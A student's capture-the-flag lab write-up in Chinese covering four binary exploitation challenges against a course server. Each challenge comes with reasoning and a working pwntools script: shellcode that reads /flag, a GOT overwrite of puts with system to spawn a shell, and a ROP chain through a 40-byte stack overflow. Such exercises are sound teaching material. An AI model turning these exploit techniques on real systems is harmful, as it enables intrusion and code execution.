lab07 PWN

241220129 付云锋

```
Welcome to the PWN CTF Score Platform!
Please enter your Student ID: 241220129

Welcome, 241220129! This is the Score Platform.
Connect to the challenges on their dedicated ports.

1. Submit Flag
2. Query Score
3. Exit
Enter your choice: 2

── Your Score ──
Student ID: 241220129
Scores (1|2|3|4): 100|100|100|100
Signed String: ID:241220129|Scores:100|100|100|100
Signature: 424212e585
────────────────────
```

ID:241220129|Scores:100|100|100|100

Signature：424212e585

题目一

```
┌──(kali㉿kali)-[~/Desktop/exp]
└─$ python exp1.py
[+] Opening connection to 210.28.132.84 on port 9001: Done
[+] Receiving all data: Done (60B)
[*] Closed connection to 210.28.132.84 port 9001
b'Flag: flag{https://www.bilibili.com/video/BV1BAX6YmE6o?n=8064c8b8}'
```

解题思路

read参数为：fd，缓冲区地址，读取字节数。“`rax`”对应`fd`，前一个`open`返回的`/flag`对应的文件描述符。"`rsp`"是栈内存，作为缓冲区。128表示从`flag`中读取128字节到内存。`write`的参数意义同`read`，`fd=1`因为标准输出的文件描述符固定是1，再从`rsp`中把数据取出来，因为`read`是把`flag`的内容读到了`rsp`指向的栈内存中。`read`系统调用执行完毕后，它会在`rax`中返回实际读取到的字节数。填`'rax'`作为`write`的长度参数，即刚才读到了多少字节，就打印多少字节。

解题脚本

```python
from pwn import *
context.arch = 'amd64'
# p = process("./chall1")
p = remote("210.28.132.84", 9001) # 假设题目部署在独立端口
shellcode = asm(
    shellcraft.open('/flag') +
    shellcraft.read('rax','rsp',128) +
    shellcraft.write(1,'rsp','rax')
)
p.recvuntil(b"bytes):\n")
p.send(shellcode)
```

```
p.recvline()
flag = p.recvall(timeout=1)
print(b"Flag: " + flag.strip())
```

题目二

```
┌──(kali㉿kali)-[~/Desktop/exp]
└─$ python exp2.py
[+] Opening connection to 210.28.132.84 on port 9002: Done
[+] Receiving all data: Done (60B)
[*] Closed connection to 210.28.132.84 port 9002
b'Flag: flag{https://www.bilibili.com/video/BV1u4411z7oe?n=e0af476c}'
```

解题思路

`openat`的第一个参数`dirfd`是“目录的文件描述符”，有一个特殊常量`AT_FDCWD`，它的值通常是-100，表示相对于当前工作目录，`read`的填写依据同题目一，打开的FD会保存在`rax`中，所以要从`rax`中读。仍然使用栈顶指针`rsp`作为数据缓冲区。读取长度只要大于 flag 长度即可，仍然使用128。`write`使用1代表标准输出，将内容打印到屏幕。使用`rsp`，因为数据刚才被`read`读到了`rsp`里。参数3设置为`'rax'`，是因为上一步`read`执行完后，实际读取到的字节数会保存在`rax`中。这里填`'rax'`能够完美控制输出长度。

解题脚本

```
from pwn import *
context.arch = 'amd64'
# p = process("./chall2")
p = remote("210.28.132.84", 9002) # 假设题目部署在独立端口
shellcode = asm(
    shellcraft.openat(-100, '/flag') +
    shellcraft.read('rax','rsp',128) +
    shellcraft.write(1,'rsp','rax')
)
p.recvuntil(b"bytes):\n")
p.send(shellcode)
p.recvline()
flag = p.recvall(timeout=1)
print(b"Flag: " + flag.strip())
```

题目三

```
┌──(kali㉿kali)-[~/Desktop/exp]
└─$ python exp3.py
[+] Opening connection to 210.28.132.84 on port 9003: Done
[*] '/home/kali/Desktop/exp/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] '/home/kali/Desktop/exp/chall3'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[*] Offset from notes array to puts@got: -16
[+] Leaked puts() address: 0x7feafa330c80
[*] Calculated libc base address: 0x7feafa2ae000
[+] Calculated system() address: 0x7feafa301b00
[*] Overwrote puts@got with system address.
[*] Switching to interactive mode
$ cat /flag
flag{https://www.bilibili.com/video/BV1TM4y157UF?n=15aae955}$
```

解题思路

需要读取 `puts` 函数在 GOT 表中的内容，目标地址是 `e.got['puts']`，起始地址是 `e.symbols['notes']`，因为没有检查索引边界，可以给出一个“越界”的索引，让它指到 `notes` 数组外面的 `puts@got` 位置。

因为基址 = 真实地址-偏移量。`leaked_puts_addr` 是步骤 1 中，从运行中的程序里得到的 `puts` 函数的真实内存地址，`libc.symbols['puts']` 是 `puts` 函数在 Libc 文件中相对于文件开头的固定偏移量。

`system` 真实地址 = `libc` 基址+偏移量。需要知道 `system` 函数在当前运行内存中的真实地址，以便把 `puts` 替换成它。`libc_base`：刚才算出来的 Libc 在内存中的起始地址，`libc.symbols['system']`：`system` 函数在 Libc 文件中的固定偏移量。

解题脚本

```python
from pwn import *

# --- 环境配置 ---
# 在本地调试时:
# p = process("./chall3")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # 使用你本地的libc
# 远程利用时:
p = remote("210.28.132.84", 9003)
libc = ELF("./libc.so.6") # 使用题目提供的libc

e = ELF("./chall3")

# --- 步骤 1: 泄露 puts 函数在内存中的真实地址 ---
# 计算 notes 数组到 puts@got 的偏移
offset_to_puts_got = (e.got['puts'] - e.symbols['notes']) // 8
log.info(f"Offset from notes array to puts@got: {offset_to_puts_got}")
```

```python
# 使用 "Read a note" 功能读取 puts@got 的内容
p.sendlineafter(b">> ", b"1")
p.sendlineafter(b"Index: ", str(offset_to_puts_got).encode())

# 解析输出，获取地址
p.recvuntil(b" = ")
leaked_puts_addr = int(p.recvline().strip())
log.success(f"Leaked puts() address: {hex(leaked_puts_addr)}")

# --- 步骤 2: 计算 system 和 "/bin/sh" 的地址 ---
# 计算 libc 在内存中的基地址
libc_base = leaked_puts_addr - libc.symbols['puts']
log.info(f"Calculated libc base address: {hex(libc_base)}")

# 计算 system 函数的真实地址
system_addr = libc_base + libc.symbols['system']
log.success(f"Calculated system() address: {hex(system_addr)}")

# 注意：因为要执行 system("sh")，但 secret_func() 只提供了 "sh"，
# 我们可以劫持 puts@got 到 system，然后触发 puts("sh")。

# --- 步骤 3: 劫持 puts@got 为 system 的地址 ---
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"Index: ", str(offset_to_puts_got).encode())
p.sendlineafter(b"Value: ", str(system_addr).encode())
log.info("Overwrote puts@got with system address.")

# --- 步骤 4: 触发 payload ---
# 调用 secret_func()，它会执行 puts("sh")
# 由于 GOT 被劫持，实际执行的是 system("sh")
p.sendlineafter(b">> ", b"4")

p.interactive()
```

题目四

```
┌──(kali㉿kali)-[~/Desktop/exp]
└─$ python exp4.py
[+] Opening connection to 210.28.132.84 on port 9004: Done
[*] '/home/kali/Desktop/exp/chall4'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Loaded 75 cached gadgets for './chall4'
[*] Constructed ROP chain:
    0x0000:         0x40101a ret
    0x0008:         0x402ec9 pop rdx; ret
    0x0010:              0x0 [arg2] rdx = 0
    0x0018:         0x402ec7 pop rsi; ret
    0x0020:             0x68 [arg1] rsi = 104
    0x0028:         0x402ec5 pop rdi; ret
    0x0030:             0x73 [arg0] rdi = 115
    0x0038:         0x402ece
[*] Switching to interactive mode
$ cat /flag
flag{https://www.bilibili.com/video/BV16xt8e1Eu9?n=4bf26031}$
```

解题思路

需要调用 `gadget_func` 这个函数，在 pwntools 中，通过 `e.symbols['gadget_func']` 自动获取该函数在程序中的内存地址。根据题目注释要求，目标是 `call gadget_func('s', 'h', 0)`，`rop.call(addr, args)` 会自动搜索程序里的 gadgets 来把参数放入正确的寄存器，而字符 `'s'` 和 `'h'` 需要转换成对应的 ASCII 码整数才能放入寄存器，在Python中使用 `ord()` 函数完成转换。

需要覆盖栈上的返回地址，将其指向要执行的ROP链。代码注释提示了 "32字节缓冲区"，意味着需要填充 32 个 'A' 才能填满局部变量空间，在 64 位系统，寄存器宽度是 64 位，即8 字节，在到达“返回地址”之前，必须覆盖掉这个保存的 RBP，因此需要 40 个垃圾字节（b'A' * 40），这样紧跟在后面的 rop.chain() 才会精确地落在返回地址的位置上，从而劫持程序控制流。

解题脚本

```python
from pwn import *
# p = process("./chall4")
context.arch='amd64'
p = remote("210.28.132.84", 9004)
e = ELF("./chall4")

# 使用 pwntools.ROP 模块
rop = ROP(e)

# 栈对齐，https://github.com/Gallopsled/pwntools/issues/1870
rop.call(rop.ret)

# 目标: call gadget_func('s', 'h', 0)
# pwntools 会自动寻找 pop rdi/rsi/rdx 等gadgets来设置参数
# https://docs.pwntools.com/en/stable/rop/rop.html#pwnlib.rop.rop.ROP.call

rop.call(e.symbols['gadget_func'], [ord('s'), ord('h'), 0])

log.info("Constructed ROP chain:\n" + rop.dump())
```

```
# 32字节缓冲区 + 8字节rbp
payload = b'A' * 40 + rop.chain()

# pause()

p.sendlineafter(b"payload: ", payload)
p.interactive()
```